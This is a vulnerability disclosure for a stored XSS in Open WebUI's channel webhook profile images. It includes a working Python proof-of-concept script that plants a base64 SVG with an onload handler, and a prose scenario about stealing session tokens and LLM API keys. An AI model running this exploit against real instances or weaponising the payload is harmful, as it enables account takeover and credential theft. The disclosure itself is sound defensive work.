CVE-2026-45314: Open WebUI: Stored XSS via webhook SVG profile image

As part of our research on improving our [AI pentest](https://www.aikido.dev/attack/aipentest), we have uncovered the following issue in Open WebUI. We've manually verified and tided up the report, but you can also find the original agent finding at the bottom of this report. ### Summary The channel webhook create/update flow accepts arbitrary `profile_image_url` values, including `data:image/svg+xml;base64,...` payloads. The profile image endpoint then decodes and serves this SVG as `image/svg+xml` without sanitization, allowing attacker-controlled script handlers (for example onload) to execute when the profile-image URL is opened in the browser. ### Details The server accepts `data:image/svg+xml;base64,...` values for `profile_image_url` when creating or updating a webhook. Later, `GET /api/v1/channels/webhooks/{webhook_id}/profile/image` detects `data:image`, base64-decodes it, derives the media type from the header (e.g., `image/svg+xml`), and returns a `StreamingResponse` with `Content-Disposition: inline` and `media_type` set to `image/svg+xml`. There is no sanitization or transformation. When this URL is opened in a browser, SVG event handlers such as onload execute in the application origin, resulting in stored XSS. ### PoC 1. Set up a new instance of Open WebUI and log in as admin 2. In the Admin Panel, enable *Channels (Beta)* and click Save 3. Create a low-privilege user in the Users tab 4. As the attacker, use the low-privilege user to run the following script: ```py import base64 import secrets import requests BASE_URL = "http://127.0.0.1:14000" EMAIL = "low@local.test" PASSWORD = "low" CHANNEL_NAME_PREFIX = "xsswh-poc" WEBHOOK_NAME = "xss-webhook-poc" SVG_CANARY = '<svg xmlns="http://www.w3.org/2000/svg" onload="alert(origin)"></svg>' if __name__ == "__main__": s = requests.Session() s.headers.update({"Content-Type": "application/json"}) r = s.post( f"{BASE_URL}/api/v1/auths/signin", json={"email": EMAIL, "password": PASSWORD}, timeout=30, ) r.raise_for_status() s.headers["Authorization"] = f"Bearer {r.json()['token']}" r = s.post( f"{BASE_URL}/api/v1/channels/create", json={ "name": f"{CHANNEL_NAME_PREFIX}-{secrets.token_hex(4)}", "type": "group", "user_ids": [], "group_ids": [], }, timeout=30, ) r.raise_for_status() channel_id = r.json()["id"] payload = "data:image/svg+xml;base64," + base64.b64encode(SVG_CANARY.encode()).decode() r = s.post( f"{BASE_URL}/api/v1/channels/{channel_id}/webhooks/create", json={"name": WEBHOOK_NAME, "profile_image_url": payload}, timeout=30, ) r.raise_for_status() webhook_id = r.json()["id"] print(f"{BASE_URL}/api/v1/channels/webhooks/{webhook_id}/profile/image") ``` This should print a URL like the following, which when visited (by any user), triggers a JavaScript popup proving XSS: http://127.0.0.1:14000/api/v1/channels/webhooks/aa7c925f-4584-4274-82bf-33a7e98a3365/profile/image <img width="1079" height="222" alt="image" src="https://github.com/user-attachments/assets/ce158ace-d14f-4a73-aeb0-e828aff005df" /> ### Impact Conditions required: The victim must be an authenticated, verified user. Channel feature must be enabled. Stored XSS enables arbitrary JavaScript execution in the context of the application's origin for any viewer who loads the malicious profile image URL. An attacker can exfiltrate session tokens (localstorage) or API keys stored in the page context, perform unauthorized actions on behalf of the victim via same-origin APIs, alter settings, or pivot to broader account compromise. Because this vector is persisted in the database as part of a webhook's profile image, it remains active until removed. ### Original Agent Report <img width="400" alt="app aikido dev_ai-pentests_projects_116389_assessments_019d67d4-81c8-7dd2-bb9e-0a4a774b2c78_issues_sidebarIssue=20439766 (5)" src="https://github.com/user-attachments/assets/0bfb2c7c-f7c4-49cd-a262-5ed9e1bb10df" />

An attacker with a free trial or low-privilege account on a corporate Open WebUI instance enables channel creation, crafts a webhook payload containing a base64-encoded SVG with an onload handler that exfiltrates document.cookie and localStorage to an attacker-controlled endpoint, and creates the webhook via the API. The malicious profile image URL is now persisted in the database. When a higher-privileged user—such as an admin reviewing channel configurations or a developer viewing webhook details—loads the profile image URL (triggered automatically by the UI rendering the webhook list), the SVG executes, silently POSTing session tokens and stored LLM API keys to the attacker. The attacker then uses the harvested API keys to make unlimited inference calls or pivot into backend systems accessible from the admin session.